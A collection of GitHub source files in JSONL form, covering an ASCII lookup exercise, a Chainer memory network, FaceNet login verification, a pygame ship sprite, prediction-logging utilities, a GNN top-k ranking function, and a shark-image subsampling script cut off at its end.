{"seq_id":"13745868548","text":"def Dictonary_Ascii():\n    plik = open(\"ascii.txt\", \"r\", encoding=\"utf8\") #każdy znak ascii utf8\n    line = plik.readline()\n    Dict = {}\n    while line != \"\":\n        tablica = line.strip().split(\"=\") #strip usuwa białe znaki (tabulacje, spacje, itp) na poczatku i na końcu\n        Dict[tablica[1]] = tablica[0]\n        line = plik.readline()\n    plik.close()\n    return Dict\n\ndictonary = Dictonary_Ascii()\n\nn = input(\"Wprowadź znaki, a otrzymasz kody Ascii: \")\n\nfor i in range(len(n)):\n    print(n[i], \"=\", dictonary.get(n[i]))","repo_name":"bojdyst/wdi","sub_path":"laboratorium_10/zadanie_12.py","file_name":"zadanie_12.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74002383469","text":"# coding: utf-8\nimport numpy as np\nfrom chainer import links as L\nfrom chainer import functions as F\nfrom chainer import Chain, Variable\nfrom networks.constants import *\n\nclass Memory(Chain):\n    def __init__(self):\n        super(Memory, self).__init__()\n        self.size = 1\n        self.M = Variable(np.zeros((N_mem, M_DIM), dtype=np.float32))\n        self.W_predictor = None\n        self.W_policy = None\n        self.v_wr = Variable(np.zeros((N_mem, 1), dtype=np.float32))\n        self.v_ret = Variable(np.zeros((N_mem, 1), dtype=np.float32))\n        self.u = Variable(np.zeros((1, N_mem), dtype=np.float32))\n\n    def read(self, k, b):\n        # k: (1, M_DIM*kr), b: (1, kr)\n        kr = b.shape[1]\n        K = k.reshape(kr, M_DIM)\n        C = F.matmul(F.normalize(K + EPS), F.transpose(F.normalize(self.M + EPS)))\n        B = F.repeat(b, N_mem).reshape(kr, N_mem)  # beta\n        if kr == Kr:\n            self.W_predictor = F.softmax(B*C)  # B*C: elementwise multiplication\n            M = F.matmul(self.W_predictor, self.M)\n        elif kr == Krp:\n            self.W_policy = F.softmax(B*C)\n            M = F.matmul(self.W_policy, self.M)\n        else:\n            raise(ValueError)\n        return M.reshape((1, -1))\n\n    def write(self, z, time):\n        # update usage indicator\n        self.u += F.matmul(Variable(np.ones((1, Kr), dtype=np.float32)), self.W_predictor)\n\n        # update writing weights\n        prev_v_wr = self.v_wr\n        v_wr = np.zeros((N_mem, 1), dtype=np.float32)\n        if time < N_mem:\n            v_wr[time][0] = 1\n        else:\n            waste_index = int(F.argmin(self.u).data)\n            v_wr[waste_index][0] = 1\n        self.v_wr = Variable(v_wr)\n\n        # writing\n        # z: (1, Z_DIM)\n        if USE_RETROACTIVE:\n            # update retroactive weights\n            self.v_ret = GAMMA*self.v_ret + (1-GAMMA)*prev_v_wr\n            z_wr = F.concat((z, Variable(np.zeros((1, Z_DIM), dtype=np.float32))))\n            z_ret = F.concat((Variable(np.zeros((1, Z_DIM), dtype=np.float32)), z))\n            self.M += F.matmul(self.v_wr, z_wr) + F.matmul(self.v_ret, z_ret)\n        else:\n            self.M += F.matmul(self.v_wr, z)\n","repo_name":"yosider/merlin","sub_path":"networks/memory.py","file_name":"memory.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"38"}
{"seq_id":"348689550","text":"import numpy as np\nfrom sklearn.svm import SVC\nfrom sklearn.preprocessing import Normalizer\nimport cv2\nfrom PIL import Image\nfrom numpy import expand_dims\nfrom keras.models import load_model\nimport pickle\nimport datetime\n\nold_value = \"\"\n\ndef get_face_embedding(model,face_pixels):\n    face_pixels = face_pixels.astype('float32')\n    mean, std = face_pixels.mean(), face_pixels.std()\n    face_pixels = ( face_pixels - mean ) / std\n    sample = expand_dims(face_pixels,axis = 0)\n    yhat = model.predict(sample)\n    return yhat[0]\n\nmodel = load_model('Model/Facenet_keras.h5')\nwith open('./Model/Finalized_FaceVerificationV0.1.model','rb') as file:\n    svc_model = pickle.load(file)\n\ndef User_Login(img,result_face_array,old_value,i):\n\n    time1 = datetime.datetime.now()\n\n    x, y, width, height = result_face_array[0]['box']\n    x1, y1, x2, y2 = abs(x), abs(y), x + width, y + height\n    image_arr = np.array(img)\n    face = image_arr[y1:y2, x1:x2]\n    cropped_face = Image.fromarray(face)\n    cropped_face_resize = cropped_face.resize(((160,160)))\n    face_array = np.array(cropped_face_resize)\n    \n    embedding = get_face_embedding(model,face_array)\n    in_encoder = Normalizer(norm ='l2')\n    new_embedding = in_encoder.transform(embedding.reshape(-1,1))\n    embedding_result = svc_model.predict(new_embedding.reshape(1,128))\n\n    print('Embedding Result: ',embedding_result)\n    new_value = embedding_result[0]\n    print('Old Value: ',old_value)\n    print('New Value: ',new_value)\n    capture_it = False\n    if old_value != new_value:\n        capture_it = True\n\n    bounding_box = result_face_array[0]['box']\n    return new_value, bounding_box,capture_it","repo_name":"Adi6360/MonitoringOnlineExam","sub_path":"FaceNet_Login_Verification.py","file_name":"FaceNet_Login_Verification.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"36966650640","text":"import pygame\nfrom pygame.sprite import Sprite\n\n\n# 存放飞船相关信息\nclass Ship(Sprite):\n\n    # 初始化飞船\n    def __init__(self, screen):\n        super().__init__()\n        self.screen = screen\n        self.ship_speed_factor = 0.5\n        # 设置飞船图像\n        self.image = pygame.image.load(\"images/ship.bmp\")\n\n        # 获取图片和屏幕的形状\n        self.rect = self.image.get_rect()\n        self.screen_rect = self.screen.get_rect()\n\n        # 设置飞船的初始位置(底部中间),conterx表示图像的水平中心，bottom表示图像底部\n        self.rect.centerx = self.screen_rect.centerx\n        self.rect.bottom = self.screen_rect.bottom\n\n        # rect的centerx属性只能存储整数，所以设置一个临时变量存储飞船当前位置\n        self.center = float(self.rect.centerx)\n\n        # 移动标志\n        self.moving_right = False\n        self.moving_left = False\n\n    # 更新飞船位置\n    def update(self):\n        if self.moving_right and self.rect.right < self.screen_rect.right:\n            self.center += self.ship_speed_factor\n        if self.moving_left and self.rect.left > 0:\n            self.center -= self.ship_speed_factor\n        self.rect.centerx = self.center\n\n    def blitme(self):\n        # 放置飞船，把self.images放到self.rect位置\n        self.screen.blit(self.image, self.rect)\n\n    # 将飞船左右居中\n    def center_ship(self):\n        self.center = self.screen_rect.centerx\n","repo_name":"smenglong/python","sub_path":"外星人入侵/ship.py","file_name":"ship.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"11444775459","text":"import logging\nimport json\nimport numpy as np\nimport time\nimport os\nfrom pathlib import Path\nfrom tqdm import tqdm\n\nformatter = logging.Formatter(\"%(asctime)s %(message)s\")\n\n\ndef setup_logger(name, log_file, level=logging.INFO):\n    \"\"\"To setup as many loggers as you want\"\"\"\n\n    handler = logging.FileHandler(log_file)\n    handler.setFormatter(formatter)\n\n    logger = logging.getLogger(name)\n    logger.setLevel(level)\n    logger.addHandler(handler)\n\n    return logger\n\n\nclass DataLogging:\n    \"\"\"\n    Logging class that handles the setup and data-flow in order to write a log for the graph-planner in an iterative\n    manner.\n    :Authors:\n        * Tim Stahl <tim.stahl@tum.de>\n        * Alexander Heilmeier\n    :Created on:\n        23.01.2019\n    \"\"\"\n\n    # ----------------------------------------------------------------------------------------------------------\n    # CONSTRUCTOR ----------------------------------------------------------------------------------------------\n    # ----------------------------------------------------------------------------------------------------------\n    def __init__(self, log_path: str) -> None:\n        \"\"\"\"\"\"\n        # Create directories\n        Path(os.path.dirname(log_path)).mkdir(parents=True, exist_ok=True)\n        # write header to logging file\n        self.__log_path = log_path\n        with open(self.__log_path, \"w+\") as fh:\n            header = (\n                \"time;obj_dict;hist_input;boundaries_input;pred_dict;\" \"calc_time_avg\"\n            )\n            fh.write(header)\n\n    # ----------------------------------------------------------------------------------------------------------\n    # CLASS METHODS --------------------------------------------------------------------------------------------\n    # ----------------------------------------------------------------------------------------------------------\n\n    def log_pred_data(\n        self,\n        time: float,\n        obj_dict: dict,\n        hist_input: dict,\n        boundaries_input: dict,\n        pred_dict: dict,\n        calc_time_avg: float,\n        log_params=None,\n    ) -> None:\n        \"\"\"\n        Write one line to the log file.\n        :param time:             current time stamp (float time)\n        \"\"\"\n\n        if log_params is not None:\n            hist_input_local = {}\n            boundaries_input_local = {}\n            pred_dict_local = {}\n\n            for ID in pred_dict.keys():\n                if log_params[\"history\"]:\n                    hist_input_local[ID] = hist_input[ID]\n                else:\n                    hist_input_local[ID] = None\n\n                if log_params[\"boundaries\"]:\n                    boundaries_input_local[ID] = boundaries_input[ID]\n                else:\n                    boundaries_input_local[ID] = None\n\n                # num_covs = (\n                #     log_params[\"num_covs\"]\n                #     if log_params[\"num_covs\"] < pred_dict[ID][\"cov\"].shape[0]\n                #     else pred_dict[ID][\"cov\"].shape[0]\n                # )\n\n                pred_dict_local[ID] = {\n                    \"vehicle_id\": pred_dict[ID][\"vehicle_id\"],\n                    \"prediction_type\": pred_dict[ID][\"prediction_type\"],\n                    \"t_abs_perception\": pred_dict[ID][\"t_abs_perception\"],\n                    \"t\": pred_dict[ID][\"t\"] if log_params[\"time_array\"] else None,\n                    \"x\": pred_dict[ID][\"x\"],\n                    \"y\": pred_dict[ID][\"y\"],\n                    # \"cov\": pred_dict[ID][\"cov\"][:num_covs, :, :],\n                    \"heading\": pred_dict[ID][\"heading\"]\n                    if log_params[\"heading\"]\n                    else None,\n                }\n\n            with open(self.__log_path, \"a\") as fh:\n                fh.write(\n                    \"\\n\"\n                    + str(time)\n                    + \";\"\n                    + json.dumps(obj_dict, default=default)\n                    + \";\"\n                    + json.dumps(hist_input_local, default=default)\n                    + \";\"\n                    + json.dumps(boundaries_input_local, default=default)\n                    + \";\"\n                    + json.dumps(pred_dict_local, default=default)\n                    + \";\"\n                    + json.dumps(calc_time_avg, default=default)\n                )\n        else:\n            with open(self.__log_path, \"a\") as fh:\n                fh.write(\n                    \"\\n\"\n                    + str(time)\n                    + \";\"\n                    + json.dumps(obj_dict, default=default)\n                    + \";\"\n                    + json.dumps(hist_input, default=default)\n                    + \";\"\n                    + json.dumps(boundaries_input, default=default)\n                    + \";\"\n                    + json.dumps(pred_dict, default=default)\n                    + \";\"\n                    + json.dumps(calc_time_avg, default=default)\n                )\n\n    def log_tracking_data(\n        self,\n        time: float,\n        detection_dict: dict,\n        log_ego_state: list,\n        match_dict: list,\n        filter_log: dict,\n        object_dict: dict,\n        old_object_dict: dict,\n        data_based_input: dict,\n        pred_dict: dict,\n        calc_time_avg: float,\n    ) -> None:\n        \"\"\"\n        Write one line to the log file.\n        :param time:             current time stamp (float time)\n        \"\"\"\n        with open(self.__log_path, \"a\") as fh:\n            fh.write(\n                \"\\n\"\n                + str(time)\n                + \";\"\n                + json.dumps(detection_dict, default=default)\n                + \";\"\n                + json.dumps(log_ego_state, default=default)\n                + \";\"\n                + json.dumps(match_dict, default=default)\n                + \";\"\n                + json.dumps(filter_log, default=default)\n                + \";\"\n                + json.dumps(object_dict, default=default)\n                + \";\"\n                + json.dumps(old_object_dict, default=default)\n                + \";\"\n                + json.dumps(data_based_input, default=default)\n                + \";\"\n                + json.dumps(pred_dict, default=default)\n                + \";\"\n                + json.dumps(calc_time_avg, default=default)\n            )\n\n\nclass MessageLogging:\n    \"\"\"\n    Logging class that handles the setup and data-flow in order to write a log for the graph-planner in an iterative\n    manner.\n    :Authors:\n        * Tim Stahl <tim.stahl@tum.de>\n        * Alexander Heilmeier\n    :Created on:\n        23.01.2019\n    \"\"\"\n\n    # ----------------------------------------------------------------------------------------------------------\n    # CONSTRUCTOR ----------------------------------------------------------------------------------------------\n    # ----------------------------------------------------------------------------------------------------------\n    def __init__(self, log_path: str) -> None:\n        \"\"\"\"\"\"\n        # write header to logging file\n        self.__log_path = log_path\n        with open(self.__log_path, \"w+\") as fh:\n            header = \"time;type;message\"\n            fh.write(header)\n\n    # ----------------------------------------------------------------------------------------------------------\n    # CLASS METHODS --------------------------------------------------------------------------------------------\n    # ----------------------------------------------------------------------------------------------------------\n\n    def log_message(self, time: float, msg_type: str, message: str) -> None:\n        \"\"\"\n        Write one line to the log file.\n        :param time:             current time stamp (float time)\n        \"\"\"\n        with open(self.__log_path, \"a\") as fh:\n            fh.write(\n                \"\\n\"\n                + str(time)\n                + \";\"\n                + json.dumps(msg_type, default=default)\n                + \";\"\n                + json.dumps(message, default=default)\n            )\n\n    def warning(self, message: str) -> None:\n        msg_type = \"WARNING\"\n        with open(self.__log_path, \"a\") as fh:\n            fh.write(\n                \"\\n\"\n                + str(time.time())\n                + \";\"\n                + json.dumps(msg_type, default=default)\n                + \";\"\n                + json.dumps(message, default=default)\n            )\n\n    def info(self, message: str) -> None:\n        msg_type = \"INFO\"\n        with open(self.__log_path, \"a\") as fh:\n            fh.write(\n                \"\\n\"\n                + str(time.time())\n                + \";\"\n                + json.dumps(msg_type, default=default)\n                + \";\"\n                + json.dumps(message, default=default)\n            )\n\n    def debug(self, message: str) -> None:\n        msg_type = \"DEBUG\"\n        with open(self.__log_path, \"a\") as fh:\n            fh.write(\n                \"\\n\"\n                + str(time.time())\n                + \";\"\n                + json.dumps(msg_type, default=default)\n                + \";\"\n                + json.dumps(message, default=default)\n            )\n\n    def error(self, message: str) -> None:\n        msg_type = \"error\"\n        with open(self.__log_path, \"a\") as fh:\n            fh.write(\n                \"\\n\"\n                + str(time.time())\n                + \";\"\n                + json.dumps(msg_type, default=default)\n                + \";\"\n                + json.dumps(message, default=default)\n            )\n\n\ndef default(obj):\n    # handle numpy arrays when converting to json\n    if isinstance(obj, np.ndarray):\n        return obj.tolist()\n    if isinstance(obj, np.integer):\n        return int(obj)\n    raise TypeError(\"Not serializable (type: \" + str(type(obj)) + \")\")\n\n\ndef read_all_data(file_path_in, keys=None, zip_horz=False):\n\n    with open(file_path_in) as f:\n        total_lines = sum(1 for _ in f)\n\n    total_lines = max(1, total_lines)\n\n    all_data = None\n\n    assert (\n        total_lines > 1\n    ), \"Invalid logs: No tracking files, most likely short simulation time\"\n\n    # extract a certain line number (based on time_stamp)\n\n    with open(file_path_in) as file:\n        # get to top of file (1st line)\n        file.seek(0)\n        # get header (\":-1\" in order to remove tailing newline character)\n        header = file.readline()[:-1]\n        # extract line\n        line = \"\"\n        for j in tqdm(range(total_lines - 1)):\n            line = file.readline()\n\n            if zip_horz:\n                if all_data is None:\n                    all_data = []\n                    all_data = [header.split(\";\"), [None] * (total_lines - 1)]\n\n                all_data[1][j] = tuple(json.loads(ll) for ll in line.split(\";\"))\n            else:\n                # parse the data objects we want to retrieve from that line\n                data = dict(zip(header.split(\";\"), line.split(\";\")))\n                if all_data is None:\n                    if keys is None:\n                        keys = data.keys()\n                    all_data = {key: [0.0] * (total_lines - 1) for key in keys}\n                for key in keys:\n                    all_data[key][j] = json.loads(data[key])\n\n    return all_data\n\n\ndef read_info_data(info_file_path):\n    \"\"\"Extracts the infos about the observations with each ID and stores them in\n    a dictionary, which can be queried by the IDs.\n    \"\"\"\n\n    info_dict = {}\n    with open(info_file_path) as f:\n        for line in f:\n            if \"Prediction-ID\" in line:\n                i0 = line.index(\"Prediction-ID\") + len(\"Prediction-ID\") + 1\n                i1 = line.index(\":\", i0)\n                ID = line[i0:i1]\n                info_dict[ID] = []\n\n                if \"static\" in line:\n                    info_dict[ID].append(\"static\")\n\n                elif \"physics-prediction\" in line:\n                    info_dict[ID].append(\"physics-based\")\n\n                    i0 = line.index(\"reason:\") + len(\"reason:\") + 1\n                    i1 = line.index(\",\", i0)\n                    info_dict[ID].append(line[i0:i1])\n\n                elif \"data-prediction\" in line:\n                    info_dict[ID].append(\"data-based\")\n\n                    if \"mixers\" in line:\n                        i0 = line.index(\"mixers\")\n                        info_dict[ID].append(\"\\n\")\n                        info_dict[ID].append(line[i0:])\n\n                elif \"data-physics-override-prediction\" in line:\n                    info_dict[ID].append(\"data-physics-override\")\n\n                    if \"mixers\" in line:\n                        i0 = line.index(\"mixers\")\n                        info_dict[ID].append(\"\\n\")\n                        info_dict[ID].append(line[i0:])\n\n                elif \"rail-prediction\" in line:\n                    info_dict[ID].append(\"rail-based\")\n\n                    i0 = line.index(\"reason:\") + len(\"reason:\") + 1\n                    i1 = line.index(\",\", i0)\n                    info_dict[ID].append(line[i0:i1])\n\n                elif \"potential-field\" in line:\n                    info_dict[ID].append(\"potential-field\")\n\n                    i0 = (\n                        line.index(\"potential-field prediction\")\n                        + len(\"potential-field prediction\")\n                        + 2\n                    )\n                    i1 = line.index(\"id:\")\n                    info_dict[ID].append(line[i0:i1])\n\n                elif \"Invalid\" in line:\n                    info_dict[ID].append(\"invalid\")\n\n            elif \"Collision\" in line:\n                i0 = line.index(\"IDs\") + len(\"IDs\") + 1\n                i1 = line.index(\"(\", i0) - 1\n                ID1 = line[i0:i1]\n\n                i0 = line.index(\"and\") + len(\"and\") + 1\n                i1 = line.index(\"(\", i0) - 1\n                ID2 = line[i0:i1]\n\n                i0 = line.index(\"timestep\") + len(\"timestep\") + 1\n                ts = line[i0:-2]\n\n                info_dict[ID1].append(\"collision with ID \" + ID2 + \" at \" + ts)\n                info_dict[ID2].append(\"collision with ID \" + ID1 + \" at \" + ts)\n\n            elif \"not adjusted\" in line:\n                pass\n\n            elif \"adjusted\" in line:\n                if \"ID\" in line:\n                    i0 = line.index(\"ID\") + len(\"ID\") + 1\n                    i1 = line.index(\"adjusted\", i0) - 1\n                    ID = line[i0:i1]\n                    if \"right\" in line:\n                        direction = \"right\"\n                    else:\n                        direction = \"left\"\n\n                    i0 = line.index(\"distance of\") + len(\"distance of\") + 1\n                    dist = line[i0:-2]\n\n                    info_dict[ID].append(\"adjusted to the \" + direction + \" by \" + dist)\n\n    return info_dict\n\n\ndef recover_trajectories(obj_data):\n    \"\"\"Recovers the trajectories from the log. It takes the list of obj_dicts, which\n    were recovered from the data log file and creates x, y, t arrays for each vehicle\n    based in them.\n\n    args:\n        obj_data: (list of dicts), the list of obj_dicts that was recovered from the log.\n    returns:\n        trajectories: (dict of dicts), The keys of the main dict are the vehicle IDs\n            and the value of each vehicle ID is an other dict, which contains the x, y and time\n            data.\n    \"\"\"\n\n    trajectories = {}\n\n    for object_dict in obj_data:\n\n        if not bool(object_dict):\n            continue\n        for objID, xy_pos, t_abs in object_dict.values():\n            # division by 1e9 is needed, because mod_object sends nanosecs:\n            t = float(t_abs) / 1e9\n\n            if objID not in trajectories.keys():\n                trajectories[objID] = {\"t_list\": [], \"x_list\": [], \"y_list\": []}\n                trajectories[objID][\"t_list\"].append(t)\n                trajectories[objID][\"x_list\"].append(xy_pos[0])\n                trajectories[objID][\"y_list\"].append(xy_pos[1])\n\n            elif t != trajectories[objID][\"t_list\"][-1]:\n                trajectories[objID][\"t_list\"].append(t)\n                trajectories[objID][\"x_list\"].append(xy_pos[0])\n                trajectories[objID][\"y_list\"].append(xy_pos[1])\n\n    # numpify:\n    for ID, val in trajectories.items():\n        trajectories[ID][\"t_list\"] = np.array(val[\"t_list\"])\n        trajectories[ID][\"x_list\"] = np.array(val[\"x_list\"])\n        trajectories[ID][\"y_list\"] = np.array(val[\"y_list\"])\n\n    return trajectories\n\n\ndef recover_params(info_file):\n    \"\"\"recovers the parameters that were used. If the log file is old and\n    hence no params are logged in it, some dummy params are created, so that\n    the rest of the visualization will not complain.\n\n    args:\n        info_file: (string), the main log file.\n\n    returns:\n        dict, that contains the params that were used.\n    \"\"\"\n\n    with open(info_file) as f:\n\n        params = {}\n        master_key = None\n        started = False\n\n        for line in f:\n            if \"=====\" in line:\n                if not started:\n                    started = True\n                else:\n                    break\n            elif started:\n                if \":\" in line:\n                    i0 = line.index(\" - \") + len(\" - \")\n                    i1 = line.index(\":\", i0)\n                    key = line[i0:i1]\n\n                    i0 = i1 + 2\n                    i1 = line.index('\"', i0)\n                    val = line[i0:i1]\n\n                    if master_key is not None:\n                        params[master_key][key] = val\n                    else:\n                        print(\"Failed to recover params from log.\\n\")\n                        return {}\n                else:\n                    i0 = line.index(\"INFO\") + len(\"INFO\") + 3\n                    i1 = line.index('\"', i0)\n                    master_key = line[i0:i1]\n                    params[master_key] = {}\n    if \"MODEL_PARAMS\" not in list(params.keys()):\n        # creating dummy params:\n        params[\"MODEL_PARAMS\"] = {}\n        params[\"MODEL_PARAMS\"][\"sampling_frequency\"] = \"10\"\n        params[\"MODEL_PARAMS\"][\"data_min_obs_length\"] = \"1.0\"\n        params[\"MODEL_PARAMS\"][\"view\"] = \"400\"\n        params[\"MODEL_PARAMS\"][\"dist\"] = \"20\"\n\n        print(\"Could not recover params, hence dummy params are provided.\")\n    else:\n        if \"sampling_frequency\" not in (list(params[\"MODEL_PARAMS\"].keys())):\n            params[\"MODEL_PARAMS\"][\"sampling_frequency\"] = \"10\"\n            print(\"using dummy param for MODEL_PARAMS/sampling_frequency\")\n\n        if \"data_min_obs_length\" not in (list(params[\"MODEL_PARAMS\"].keys())):\n            params[\"MODEL_PARAMS\"][\"data_min_obs_length\"] = \"1.0\"\n            print(\"using dummy param for MODEL_PARAMS/data_min_obs_length\")\n\n        if \"view\" not in (list(params[\"MODEL_PARAMS\"].keys())):\n            params[\"MODEL_PARAMS\"][\"view\"] = \"400\"\n            print(\"using dummy param for MODEL_PARAMS/view\")\n\n        if \"dist\" not in (list(params[\"MODEL_PARAMS\"].keys())):\n            params[\"MODEL_PARAMS\"][\"dist\"] = \"20\"\n            print(\"using dummy param for MODEL_PARAMS/dist\")\n\n    if \"OBJ_HANDLING_PARAMS\" not in list(params.keys()):\n        params[\"OBJ_HANDLING_PARAMS\"] = {}\n        params[\"OBJ_HANDLING_PARAMS\"][\"max_obs_length\"] = \"30\"\n    else:\n        if \"max_obs_length\" not in (list(params[\"OBJ_HANDLING_PARAMS\"].keys())):\n            params[\"OBJ_HANDLING_PARAMS\"][\"max_obs_length\"] = \"30\"\n            print(\"using dummy param for MODEL_PARAMS/max_obs_length\")\n\n    rpl_key = []\n    for param_key in params.keys():\n        if [param_key] == list(params[param_key].keys()):\n            rpl_key.append(param_key)\n\n    for param_key in rpl_key:\n        params[param_key] = params[param_key][param_key]\n\n    for param_key in params.keys():\n        if \"path\" in param_key:\n            repo_path = os.path.dirname(\n                os.path.dirname(os.path.dirname(os.path.dirname(__file__)))\n            )\n            params[param_key] = params[param_key].replace(\n                \"/dev_ws/src/mod_prediction\", repo_path\n            )\n    return params\n\n\ndef get_data_from_line(file_path_in: str, line_num: int, log_type: str = \"prediction\"):\n    line_num = max(1, line_num)\n    # extract a certain line number (based on time_stamp)\n    with open(file_path_in) as file:\n        # get to top of file (1st line)\n        file.seek(0)\n        # get header (\":-1\" in order to remove tailing newline character)\n        header = file.readline()[:-1]\n        # extract line\n        line = \"\"\n        for _ in range(line_num):\n            line = file.readline()\n\n        # parse the data objects we want to retrieve from that line\n        data = dict(zip(header.split(\";\"), line.split(\";\")))\n\n        if log_type == \"tracking\":\n            detection_dict = json.loads(data[\"detection_dict\"])\n            log_ego_state = json.loads(data[\"log_ego_state\"])\n            match_dict = json.loads(data[\"match_dict\"])\n            filter_log = json.loads(data[\"filter_log\"])\n            object_dict = json.loads(data[\"object_dict\"])\n            old_object_dict = json.loads(data[\"old_object_dict\"])\n            pred_input_dict = json.loads(data[\"pred_input_dict\"])\n            pred_dict = json.loads(data[\"pred_dict\"])\n            calc_time_avg = json.loads(data[\"calc_time_avg\"])\n            return (\n                detection_dict,\n                log_ego_state,\n                match_dict,\n                filter_log,\n                object_dict,\n                old_object_dict,\n                pred_input_dict,\n                pred_dict,\n                calc_time_avg,\n            )\n        else:\n            obj_dict = json.loads(data[\"obj_dict\"])\n            hist = json.loads(data[\"hist_input\"])\n            boundaries = json.loads(data[\"boundaries_input\"])\n            pred_dict = json.loads(data[\"pred_dict\"])\n            calc_time_avg = json.loads(data[\"calc_time_avg\"])\n            return obj_dict, hist, boundaries, pred_dict, calc_time_avg\n\n\ndef get_number_of_lines(file_path_in: str):\n    with open(file_path_in) as file:\n        row_count = sum(1 for row in file)\n\n    return row_count\n\n\ndef log_param_dict(param_dict, logger):\n    logger.info(\"=\" * 40)\n    for sec, dic in param_dict.items():\n        logger.info(sec)\n        if isinstance(dic, dict):\n            for key, val in dic.items():\n                logger.info(\" - {}: {}\".format(key, val))\n        else:\n            logger.info(\" - {}: {}\".format(sec, dic))\n    logger.info(\"=\" * 40)\n","repo_name":"TUMFTM/MixNet","sub_path":"mix_net/mix_net/utils/logging_helper.py","file_name":"logging_helper.py","file_ext":"py","file_size_in_byte":22250,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"38"}
{"seq_id":"2356373733","text":"import torch\nimport tqdm\nfrom torch import Tensor\nfrom torch.nn import Module\nfrom torch.utils.data import DataLoader\nfrom torch_geometric.typing import EdgeType\nfrom typing import NamedTuple\nfrom . import get_device\n\n\n__all__ = ('rank_k',) \n\n\nclass Ranking(NamedTuple):\n    score: Tensor\n    label: Tensor\n    count: Tensor\n    item: Tensor\n    user: Tensor\n\n\n@torch.no_grad()\ndef rank_k(\n    module: type[Module],\n    loader: type[DataLoader],\n    *,\n    pred_fn: callable,\n    at_k: int = 20,\n    edge_type: EdgeType,\n    device: torch.device = None,\n    verbose: bool = False\n) -> Ranking:\n    \n    # Resolves the device.\n    device = get_device(device)\n    # Empties the GPU cache, if that device is set.\n    if device.type == 'cuda':\n        torch.cuda.empty_cache()\n    # Setting up the model for evaluation.\n    module = module.to(device).eval()\n    # Unpacks the given edge type.\n    src_node, _, dst_node = edge_type\n\n    # Identifies the total number of source node and their respective IDs.\n    gbl_idx = loader.data[edge_type].edge_label_index[0].unique()\n    gbl_uid = loader.data[src_node].n_id[gbl_idx].to(device)\n\n    # Wraps the loader in a progress tracker object, if verbose is set.\n    if verbose is True:\n        loader_ = tqdm.tqdm(loader, mininterval=1., position=0, leave=True)\n    else:\n        loader_ = loader\n    # Creates the hash-map that is to be housing the output buffers.\n    score_buffer = [list() for _ in gbl_uid]\n    label_buffer = [list() for _ in gbl_uid]\n    id_buffer = [list() for _ in gbl_uid]\n    # Iterates over the data-loader's batches.\n    for batch in loader_:\n\n        # Predicts edge-wise scores.\n        edge_score = pred_fn(module,\n            data=batch,\n            edge_type=edge_type,\n            device=device\n        )\n\n        # Unpacks the edge label index.\n        src_idx, dst_idx = batch[edge_type].edge_label_index\n        # Derives the source and destination node IDs.\n        src_id = batch[src_node].n_id[src_idx]\n        dst_id = batch[dst_node].n_id[dst_idx]\n        # Extracts the edge labels and destination node IDs.\n        edge_label = batch[edge_type].edge_label\n\n        # Identifies the unique source node IDs in the batch.\n        src_uid = src_id.unique()\n        # Infers the relevant source nodes in the tracked set.\n        out_idx = (\n            gbl_uid.unsqueeze(1) \n                == \n            src_uid.unsqueeze(0)\n        ).any(dim=-1).nonzero().ravel()\n        # Generates the relevant nodes' element mask.\n        out_msk = gbl_uid[out_idx].unsqueeze(1) == src_id.unsqueeze(0)\n        \n        # Updates the relevant source nodes' buffers.\n        for idx, msk in zip(out_idx, out_msk):\n            score_buffer[idx].append(edge_score[msk].cpu())\n            label_buffer[idx].append(edge_label[msk].cpu())\n            id_buffer[idx].append(dst_id[msk].cpu())\n\n    # Concatenates all sub-buffers for the score, label and ID buffers.\n    scores = [torch.cat(buffer) for buffer in score_buffer]\n    labels = [torch.cat(buffer) for buffer in label_buffer]\n    ids = [torch.cat(buffer) for buffer in id_buffer]\n\n    # Initializes the positive edge counter.\n    positive_count = []\n    # Initializes the top-k score, label and id buffers.\n    score_top, label_top, id_top = [], [], []\n    # Computes the top-k item scores, labels and ids.\n    for scores, labels, ids in zip(scores, labels, ids):\n\n        # Computes the top-k values and their indices.\n        scores, index = torch.topk(scores, k=at_k)\n\n        # Saves the top-k scores, labels and ids.\n        score_top.append(scores)\n        label_top.append(labels[index])\n        id_top.append(ids[index])\n\n        # Counts the total number of positive edges.\n        positive_count.append(labels.sum())\n\n    # Reformats the top-k buffers to pure tensors.\n    score = torch.stack(score_top)\n    label = torch.stack(label_top)\n    id = torch.stack(id_top)\n    count = torch.tensor(positive_count)\n\n    # Returns the top-k labels and the total positive edge count.\n    return Ranking(score, label, count, item=id, user=gbl_uid)","repo_name":"Urdat/GNN-CF","sub_path":"project/utils/rank.py","file_name":"rank.py","file_ext":"py","file_size_in_byte":4071,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"15477905904","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis script creates a image dataset from the Fast.AI multi-label CNN classifier.\nThis dataset is a collection from existing images.  Currently we have ~7,500 \nshark images which have detailed labels.  There is an additional ~110,000 shark\nimages with minimal labeling, some simply labeled as a shark image.  Finally, \nthere are ~530,000 images labeled 'No Shark'.  This scripts attempts to maximize\nthe use of the images with detailed labels while also using other available image\nwithout creating a very uneven dataset.\n\nCreated on Thu Jan  9 15:46:28 2020\n\n@author: Deep Thought\n\"\"\"\nimport os\n\nos.chdir('C:\\\\Users\\\\Deep Thought\\\\Desktop\\\\White Shark CNN\\\\Multi-Label CNN Model\\\\')\n                \nimport WS_Utils as Util\n\n'''No Shark image set subset'''\n#Subset a series of images simply labeled 'No Shark'.  The total data set is \n#currently 533,956 images.\n\nprint('Starting to sub-sample No Shark images')\n\n#Proportion of 'No Shark' images .  This should yield ~43,000 images.\nNS_Prop = 0.05\n\n#Image path\npath = \"D:\\\\Population Study Videos\\\\Training Data\\\\Training Images\\\\No shark\\\\\"\n\n#subset path\noutput_path = \"E:\\\\CNN_training_set_2017\\\\\"\n\nUtil.ImageSubSample(path, output_path, NS_Prop)\n\n\n'''Shark subset image set'''\n#Subset a series of images simply labeled 'Shark'.  The total data set is \n#currently 60,165 images.\n\nprint('Starting to sub-sample Shark 